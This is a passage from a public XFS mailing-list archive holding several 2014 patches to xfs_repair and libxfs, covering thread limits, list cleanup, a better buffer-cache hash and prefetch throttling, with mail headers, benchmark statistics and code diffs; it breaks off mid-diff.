[137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 792D87F57 for ; Thu, 27 Feb 2014 03:51:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 64AFA304051 for ; Thu, 27 Feb 2014 01:51:37 -0800 (PST) X-ASG-Debug-ID: 1393494690-04cb6c567693590004-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id uPGJhCx8PW7yF0G1 for ; Thu, 27 Feb 2014 01:51:35 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQVWMwgYMTkDGxmHeMpZjX0JhQwEqmGDQSiBLAEfBA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bl-9K for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007s7-8H for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/10] repair: limit auto-striding concurrency apprpriately Date: Thu, 27 Feb 2014 20:51:09 +1100 X-ASG-Orig-Subj: [PATCH 04/10] repair: limit auto-striding concurrency apprpriately Message-Id: <1393494675-30194-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494695 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It's possible to have filesystems with hundreds of AGs on systems with little concurrency and resources. In this case, we can easily exhaust memory and fail to create threads and have all sorts of interesting problems. xfs/250 can cause this to occur, with failures like: - agno = 707 - agno = 692 fatal error -- cannot create worker threads, error = [11] Resource temporarily unavailable And this: - agno = 484 - agno = 782 failed to create prefetch thread: Resource temporarily unavailable Because it's trying to create more threads than a poor little 512MB single CPU ia32 box can handle. So, limit concurrency to a maximum of numcpus * 8 to prevent this. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster --- include/libxfs.h | 1 + libxfs/init.h | 1 - repair/xfs_repair.c | 21 ++++++++++++++++++++- 3 files changed, 21 insertions(+), 2 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index bb0369f..f688598 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -144,6 +144,7 @@ extern void libxfs_device_close (dev_t); extern int libxfs_device_alignment (void); extern void libxfs_report(FILE *); extern void platform_findsizes(char *path, int fd, long long *sz, int *bsz); +extern int platform_nproc(void); /* check or write log footer: specify device, log size in blocks & uuid */ typedef xfs_caddr_t (libxfs_get_block_t)(xfs_caddr_t, int, void *); diff --git a/libxfs/init.h b/libxfs/init.h index f0b8cb6..112febb 100644 --- a/libxfs/init.h +++ b/libxfs/init.h @@ -31,7 +31,6 @@ extern char *platform_findrawpath (char *path); extern char *platform_findblockpath (char *path); extern int platform_direct_blockdev (void); extern int platform_align_blockdev (void); -extern int platform_nproc(void); extern unsigned long platform_physmem(void); /* in kilobytes */ extern int platform_has_uuid; diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index bac334f..6327076 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -629,13 +629,32 @@ main(int argc, char **argv) * to target these for an increase in thread count. Hence a stride value * of 15 is chosen to ensure we get at least 2 AGs being scanned at once * on such filesystems. + * + * Limit the maximum thread count based on the available CPU power that + * is available. If we use too many threads, we might run out of memory + * and CPU power before we run out of IO concurrency. We limit to 8 + * threads/CPU as this is enough threads to saturate a CPU on fast + * devices, yet few enough that it will saturate but won't overload slow + * devices. */ if (!ag_stride && glob_agcount >= 16 && do_prefetch) ag_stride = 15; if (ag_stride) { + int max_threads = platform_nproc() * 8; + thread_count = (glob_agcount + ag_stride - 1) / ag_stride; - thread_init(); + while (thread_count > max_threads) { + ag_stride *= 2; + thread_count = (glob_agcount + ag_stride - 1) / + ag_stride; + } + if (thread_count > 0) + thread_init(); + else { + thread_count = 1; + ag_stride = 0; + } } if (ag_stride && report_interval) { -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 903807F58 for ; Thu, 27 Feb 2014 03:51:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 29EA5AC003 for ; Thu, 27 Feb 2014 01:51:37 -0800 (PST) X-ASG-Debug-ID: 1393494694-04bdf05dac98a60002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id DcZ9OdoEiA0ZX97Q for ; Thu, 27 Feb 2014 01:51:35 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQUnLzMIGDE5AxsZh3jKQheOcYQhBKphg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bm-9t for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007sC-8u for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/10] repair: use a listhead for the dotdot list Date: Thu, 27 Feb 2014 20:51:10 +1100 X-ASG-Orig-Subj: [PATCH 05/10] repair: use a listhead for the dotdot list Message-Id: <1393494675-30194-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494695 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Cleanup suggested by Christoph Hellwig - removes another open coded list implementation. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig --- repair/phase6.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/repair/phase6.c b/repair/phase6.c index cdbf4db..7be68b3 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -43,13 +43,13 @@ static struct xfs_name xfs_name_dot = {(unsigned char *)".", * entries are updated. These must be rebuilt after the initial pass */ typedef struct dotdot_update { - struct dotdot_update *next; + struct list_head list; ino_tree_node_t *irec; xfs_agnumber_t agno; int ino_offset; } dotdot_update_t; -static dotdot_update_t *dotdot_update_list; +static LIST_HEAD(dotdot_update_list); static int dotdot_update; static void @@ -64,12 +64,12 @@ add_dotdot_update( do_error(_("malloc failed add_dotdot_update (%zu bytes)\n"), sizeof(dotdot_update_t)); - dir->next = dotdot_update_list; + INIT_LIST_HEAD(&dir->list); dir->irec = irec; dir->agno = agno; dir->ino_offset = ino_offset; - dotdot_update_list = dir; + list_add(&dir->list, &dotdot_update_list); } /* @@ -3021,9 +3021,10 @@ update_missing_dotdot_entries( * set dotdot_update flag so processing routines do not count links */ dotdot_update = 1; - while (dotdot_update_list) { - dir = dotdot_update_list; - dotdot_update_list = dir->next; + while (!list_empty(&dotdot_update_list)) { + dir = list_entry(dotdot_update_list.prev, struct dotdot_update, + list); + list_del(&dir->list); process_dir_inode(mp, dir->agno, dir->irec, dir->ino_offset); free(dir); } -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 794987F56 for ; Thu, 27 Feb 2014 03:51:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 67711304051 for ; Thu, 27 Feb 2014 01:51:38 -0800 (PST) X-ASG-Debug-ID: 1393494692-04cbb066e493740003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id KZRYYtKd7szN8SOa for ; Thu, 27 Feb 2014 01:51:36 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQUnLzMIGDE5AxsZh3jKQheTEgSqYYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bk-8f for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007s2-7e for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/10] libxfs: buffer cache hashing is suboptimal Date: Thu, 27 Feb 2014 20:51:08 +1100 X-ASG-Orig-Subj: [PATCH 03/10] libxfs: buffer cache hashing is suboptimal Message-Id: <1393494675-30194-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494695 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The hashkey calculation is very simplistic,and throws away an amount of entropy that should be folded into the hash. The result is sub-optimal distribution across the hash tables. For example, with a default 512 entry table, phase 2 results in this: Max supported entries = 4096 Max utilized entries = 3970 Active entries = 3970 Hash table size = 512 Hits = 0 Misses = 3970 Hit ratio = 0.00 Hash buckets with 0 entries 12 ( 0%) Hash buckets with 1 entries 3 ( 0%) Hash buckets with 2 entries 10 ( 0%) Hash buckets with 3 entries 2 ( 0%) Hash buckets with 4 entries 129 ( 12%) Hash buckets with 5 entries 20 ( 2%) Hash buckets with 6 entries 54 ( 8%) Hash buckets with 7 entries 22 ( 3%) Hash buckets with 8 entries 150 ( 30%) Hash buckets with 9 entries 14 ( 3%) Hash buckets with 10 entries 16 ( 4%) Hash buckets with 11 entries 7 ( 1%) Hash buckets with 12 entries 38 ( 11%) Hash buckets with 13 entries 5 ( 1%) Hash buckets with 14 entries 4 ( 1%) Hash buckets with 17 entries 1 ( 0%) Hash buckets with 19 entries 1 ( 0%) Hash buckets with 23 entries 1 ( 0%) Hash buckets with >24 entries 23 ( 16%) Now, given a perfect distribution, we shoul dhave 8 entries per chain. What we end up with is nothing like that. Unfortunately, for phase 3/4 and others, the number of cached objects results in the cache being expanded to 256k entries, and so the stats just give this; Hits = 262276 Misses = 8130393 Hit ratio = 3.13 Hash buckets with >24 entries 512 (100%) We can't evaluate the efficiency of the hashing algorithm here. Let's increase the size of the hash table to 32768 entries and go from there: Phase 2: Hash buckets with 0 entries 31884 ( 0%) Hash buckets with 1 entries 35 ( 0%) Hash buckets with 2 entries 78 ( 3%) Hash buckets with 3 entries 30 ( 2%) Hash buckets with 4 entries 649 ( 65%) Hash buckets with 5 entries 12 ( 1%) Hash buckets with 6 entries 13 ( 1%) Hash buckets with 8 entries 40 ( 8%) Hash buckets with 9 entries 1 ( 0%) Hash buckets with 13 entries 1 ( 0%) Hash buckets with 15 entries 1 ( 0%) Hash buckets with 22 entries 1 ( 0%) Hash buckets with 24 entries 17 ( 10%) Hash buckets with >24 entries 6 ( 4%) There's a significant number of collisions given the population is only 15% of the size of the table itself.... Phase 3: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262090 Hash table size = 32768 Hits = 530844 Misses = 7164575 Hit ratio = 6.90 Hash buckets with 0 entries 11898 ( 0%) .... Hash buckets with 12 entries 5513 ( 25%) Hash buckets with 13 entries 4188 ( 20%) Hash buckets with 14 entries 2073 ( 11%) Hash buckets with 15 entries 1811 ( 10%) Hash buckets with 16 entries 1994 ( 12%) .... Hash buckets with >24 entries 339 ( 4%) So, a third of the hash table does not even has any entries in them, despite having more than 7.5 million entries run through the cache. Median chain lengths are 12-16 entries, ideal is 8. And lots of collisions on the longer than 24 entrie chains... Phase 6: Hash buckets with 0 entries 14573 ( 0%) .... Hash buckets with >24 entries 2291 ( 36%) Ouch. Not a good distribution at all. Overall runtime: Phase Start End Duration Phase 1: 12/06 11:35:04 12/06 11:35:04 Phase 2: 12/06 11:35:04 12/06 11:35:07 3 seconds Phase 3: 12/06 11:35:07 12/06 11:38:27 3 minutes, 20 seconds Phase 4: 12/06 11:38:27 12/06 11:41:32 3 minutes, 5 seconds Phase 5: 12/06 11:41:32 12/06 11:41:32 Phase 6: 12/06 11:41:32 12/06 11:42:29 57 seconds Phase 7: 12/06 11:42:29 12/06 11:42:30 1 second Total run time: 7 minutes, 26 seconds Modify the hash to be something more workable - steal the linux kernel inode hash calculation and try that: phase 2: Max supported entries = 262144 Max utilized entries = 3970 Active entries = 3970 Hash table size = 32768 Hits = 0 Misses = 3972 Hit ratio = 0.00 Hash buckets with 0 entries 29055 ( 0%) Hash buckets with 1 entries 3464 ( 87%) Hash buckets with 2 entries 241 ( 12%) Hash buckets with 3 entries 8 ( 0%) Close to perfect. Phase 3: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262118 Hash table size = 32768 Hits = 567900 Misses = 7118749 Hit ratio = 7.39 Hash buckets with 5 entries 1572 ( 2%) Hash buckets with 6 entries 2186 ( 5%) Hash buckets with 7 entries 9217 ( 24%) Hash buckets with 8 entries 8757 ( 26%) Hash buckets with 9 entries 6135 ( 21%) Hash buckets with 10 entries 3166 ( 12%) Hash buckets with 11 entries 1257 ( 5%) Hash buckets with 12 entries 364 ( 1%) Hash buckets with 13 entries 94 ( 0%) Hash buckets with 14 entries 14 ( 0%) Hash buckets with 15 entries 5 ( 0%) A near-perfect bell curve centered on the optimal distribution number of 8 entries per chain. Phase 6: Hash buckets with 0 entries 24 ( 0%) Hash buckets with 1 entries 190 ( 0%) Hash buckets with 2 entries 571 ( 0%) Hash buckets with 3 entries 1263 ( 1%) Hash buckets with 4 entries 2465 ( 3%) Hash buckets with 5 entries 3399 ( 6%) Hash buckets with 6 entries 4002 ( 9%) Hash buckets with 7 entries 4186 ( 11%) Hash buckets with 8 entries 3773 ( 11%) Hash buckets with 9 entries 3240 ( 11%) Hash buckets with 10 entries 2523 ( 9%) Hash buckets with 11 entries 2074 ( 8%) Hash buckets with 12 entries 1582 ( 7%) Hash buckets with 13 entries 1206 ( 5%) Hash buckets with 14 entries 863 ( 4%) Hash buckets with 15 entries 601 ( 3%) Hash buckets with 16 entries 386 ( 2%) Hash buckets with 17 entries 205 ( 1%) Hash buckets with 18 entries 122 ( 0%) Hash buckets with 19 entries 48 ( 0%) Hash buckets with 20 entries 24 ( 0%) Hash buckets with 21 entries 13 ( 0%) Hash buckets with 22 entries 8 ( 0%) A much wider bell curve than phase 3, but still centered around the optimal value and far, far better than the distribution of the current hash calculation. Runtime: Phase Start End Duration Phase 1: 12/06 11:47:21 12/06 11:47:21 Phase 2: 12/06 11:47:21 12/06 11:47:23 2 seconds Phase 3: 12/06 11:47:23 12/06 11:50:50 3 minutes, 27 seconds Phase 4: 12/06 11:50:50 12/06 11:53:57 3 minutes, 7 seconds Phase 5: 12/06 11:53:57 12/06 11:53:58 1 second Phase 6: 12/06 11:53:58 12/06 11:54:51 53 seconds Phase 7: 12/06 11:54:51 12/06 11:54:52 1 second Total run time: 7 minutes, 31 seconds Essentially unchanged - this is somewhat of a "swings and roundabouts" test here because what it is testing is the cache-miss overhead. FWIW, the comparison here shows a pretty good case for the existing hash calculation. On a less populated filesystem (5m inodes rather than 50m inodes) the typical hash distribution was: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262094 Hash table size = 32768 Hits = 626228 Misses = 800166 Hit ratio = 43.90 Hash buckets with 0 entries 29274 ( 0%) Hash buckets with 3 entries 1 ( 0%) Hash buckets with 4 entries 1 ( 0%) Hash buckets with 7 entries 1 ( 0%) Hash buckets with 8 entries 1 ( 0%) Hash buckets with 9 entries 1 ( 0%) Hash buckets with 12 entries 1 ( 0%) Hash buckets with 13 entries 1 ( 0%) Hash buckets with 16 entries 2 ( 0%) Hash buckets with 18 entries 1 ( 0%) Hash buckets with 22 entries 1 ( 0%) Hash buckets with >24 entries 3483 ( 99%) Total and utter crap. Same filesystem, new hash function: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262103 Hash table size = 32768 Hits = 673208 Misses = 838265 Hit ratio = 44.54 Hash buckets with 3 entries 558 ( 0%) Hash buckets with 4 entries 1126 ( 1%) Hash buckets with 5 entries 2440 ( 4%) Hash buckets with 6 entries 4249 ( 9%) Hash buckets with 7 entries 5280 ( 14%) Hash buckets with 8 entries 5598 ( 17%) Hash buckets with 9 entries 5446 ( 18%) Hash buckets with 10 entries 3879 ( 14%) Hash buckets with 11 entries 2405 ( 10%) Hash buckets with 12 entries 1187 ( 5%) Hash buckets with 13 entries 447 ( 2%) Hash buckets with 14 entries 125 ( 0%) Hash buckets with 15 entries 25 ( 0%) Hash buckets with 16 entries 3 ( 0%) Kinda says it all, really... Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Brian Foster --- include/cache.h | 4 +++- libxfs/cache.c | 7 +++++-- libxfs/rdwr.c | 12 ++++++++++-- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/include/cache.h b/include/cache.h index 76cb234..0a84c69 100644 --- a/include/cache.h +++ b/include/cache.h @@ -66,7 +66,8 @@ typedef void (*cache_walk_t)(struct cache_node *); typedef struct cache_node * (*cache_node_alloc_t)(cache_key_t); typedef void (*cache_node_flush_t)(struct cache_node *); typedef void (*cache_node_relse_t)(struct cache_node *); -typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int); +typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int, + unsigned int); typedef int (*cache_node_compare_t)(struct cache_node *, cache_key_t); typedef unsigned int (*cache_bulk_relse_t)(struct cache *, struct list_head *); @@ -112,6 +113,7 @@ struct cache { cache_node_compare_t compare; /* comparison routine */ cache_bulk_relse_t bulkrelse; /* bulk release routine */ unsigned int c_hashsize; /* hash bucket count */ + unsigned int c_hashshift; /* hash key shift */ struct cache_hash *c_hash; /* hash table buckets */ struct cache_mru c_mrus[CACHE_MAX_PRIORITY + 1]; unsigned long long c_misses; /* cache misses */ diff --git a/libxfs/cache.c b/libxfs/cache.c index 84d2860..dc69689 100644 --- a/libxfs/cache.c +++ b/libxfs/cache.c @@ -25,6 +25,7 @@ #include #include #include +#include #define CACHE_DEBUG 1 #undef CACHE_DEBUG @@ -61,6 +62,7 @@ cache_init( cache->c_misses = 0; cache->c_maxcount = maxcount; cache->c_hashsize = hashsize; + cache->c_hashshift = libxfs_highbit32(hashsize); cache->hash = cache_operations->hash; cache->alloc = cache_operations->alloc; cache->flush = cache_operations->flush; @@ -343,7 +345,7 @@ cache_node_get( int priority = 0; int purged = 0; - hashidx = cache->hash(key, cache->c_hashsize); + hashidx = cache->hash(key, cache->c_hashsize, cache->c_hashshift); hash = cache->c_hash + hashidx; head = &hash->ch_list; @@ -515,7 +517,8 @@ cache_node_purge( struct cache_hash * hash; int count = -1; - hash = cache->c_hash + cache->hash(key, cache->c_hashsize); + hash = cache->c_hash + cache->hash(key, cache->c_hashsize, + cache->c_hashshift); head = &hash->ch_list; pthread_mutex_lock(&hash->ch_mutex); for (pos = head->next, n = pos->next; pos != head; diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index d0ff15b..1b691fb 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -313,10 +313,18 @@ struct xfs_bufkey { int nmaps; }; +/* 2^63 + 2^61 - 2^57 + 2^54 - 2^51 - 2^18 + 1 */ +#define GOLDEN_RATIO_PRIME 0x9e37fffffffc0001UL +#define CACHE_LINE_SIZE 64 static unsigned int -libxfs_bhash(cache_key_t key, unsigned int hashsize) +libxfs_bhash(cache_key_t key, unsigned int hashsize, unsigned int hashshift) { - return (((unsigned int)((struct xfs_bufkey *)key)->blkno) >> 5) % hashsize; + uint64_t hashval = ((struct xfs_bufkey *)key)->blkno; + uint64_t tmp; + + tmp = hashval ^ (GOLDEN_RATIO_PRIME + hashval) / CACHE_LINE_SIZE; + tmp = tmp ^ ((tmp ^ GOLDEN_RATIO_PRIME) >> hashshift); + return tmp % hashsize; } static int -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D59387F56 for ; Thu, 27 Feb 2014 03:51:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 529A1AC008 for ; Thu, 27 Feb 2014 01:51:39 -0800 (PST) X-ASG-Debug-ID: 1393494690-04cb6c567693590005-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id B1HqnOByetyYYBYw for ; Thu, 27 Feb 2014 01:51:37 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArENAEIKD1N5LJYe/2dsb2JhbABagwY7qQAEmXIXdIIlAQEFJy8zCBgxOQMbGYd4ylmTEgSZapB3g0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007by-CW for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007sW-BY for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/10] repair: prefetch runs too far ahead Date: Thu, 27 Feb 2014 20:51:14 +1100 X-ASG-Orig-Subj: [PATCH 09/10] repair: prefetch runs too far ahead Message-Id: <1393494675-30194-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494696 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When trying to work out why a non-crc filesystem took 1m57 to repair and the same CRC enabled filesystem took 11m35 to repair, I noticed that the was way to much CRC checking going on. Prefetched buffers should not be being CRCed, yet shortly after the starting this began to happen. perf profiling also showed up an awful lot of time doing buffer cache lookups, and the cache profile output indicated that the hit rate was way below 3%. IOWs, the readahead was getting so far ahead of the processing that it was thrashing the cache. That there is a difference in processing rate between CRC and non-CRC filesystems is not surprising. What is surprising is the readahead behaviour - it basically just keeps reading ahead until it has read everything on an AG, and then it goes on to the next AG, and reads everything on it, and then goes on to the next AG,.... This goes on until it pushes all the buffers the processing threads need out of the cache, and suddening they start re-reading from disk with the various CRC checking verifiers enabled, and we end up going -really- slow. Yes, threading made up for it a bit, but it's just wrong. Basically, the code assumes that IO is going to be slower than processing, so it doesn't throttle prefetch across AGs to slow down prefetch to match the processing rate. So, to fix this, don't let a prefetch thread get more than a single AG ahead of it's processing thread, just like occurs for single threaded (i.e. -o ag_stride=-1) operation. Signed-off-by: Dave Chinner --- repair/prefetch.c | 79 ++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 61 insertions(+), 18 deletions(-) diff --git a/repair/prefetch.c b/repair/prefetch.c index aee6342..7d3efde 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -866,6 +866,48 @@ start_inode_prefetch( return args; } +void +prefetch_ag_range( + struct work_queue *work, + xfs_agnumber_t start_ag, + xfs_agnumber_t end_ag, + bool dirs_only, + void (*func)(struct work_queue *, + xfs_agnumber_t, void *)) +{ + int i; + struct prefetch_args *pf_args[2]; + + pf_args[start_ag & 1] = start_inode_prefetch(start_ag, dirs_only, NULL); + for (i = start_ag; i < end_ag; i++) { + /* Don't prefetch end_ag */ + if (i + 1 < end_ag) + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, + dirs_only, pf_args[i & 1]); + func(work, i, pf_args[i & 1]); + } +} + +struct pf_work_args { + xfs_agnumber_t start_ag; + xfs_agnumber_t end_ag; + bool dirs_only; + void (*func)(struct work_queue *, xfs_agnumber_t, void *); +}; + +static void +prefetch_ag_range_work( + struct work_queue *work, + xfs_agnumber_t unused, + void *args) +{ + struct pf_work_args *wargs = args; + + prefetch_ag_range(work, wargs->start_ag, wargs->end_ag, + wargs->dirs_only, wargs->func); + free(args); +} + /* * Do inode prefetch in the most optimal way for the context under which repair * has been run. @@ -879,11 +921,9 @@ do_inode_prefetch( bool check_cache, bool dirs_only) { - int i, j; - xfs_agnumber_t agno; + int i; struct work_queue queue; struct work_queue *queues; - struct prefetch_args *pf_args[2]; /* * If the previous phases of repair have not overflowed the buffer @@ -906,12 +946,8 @@ do_inode_prefetch( */ if (!stride) { queue.mp = mp; - pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); - for (i = 0; i < mp->m_sb.sb_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, - dirs_only, pf_args[i & 1]); - func(&queue, i, pf_args[i & 1]); - } + prefetch_ag_range(&queue, 0, 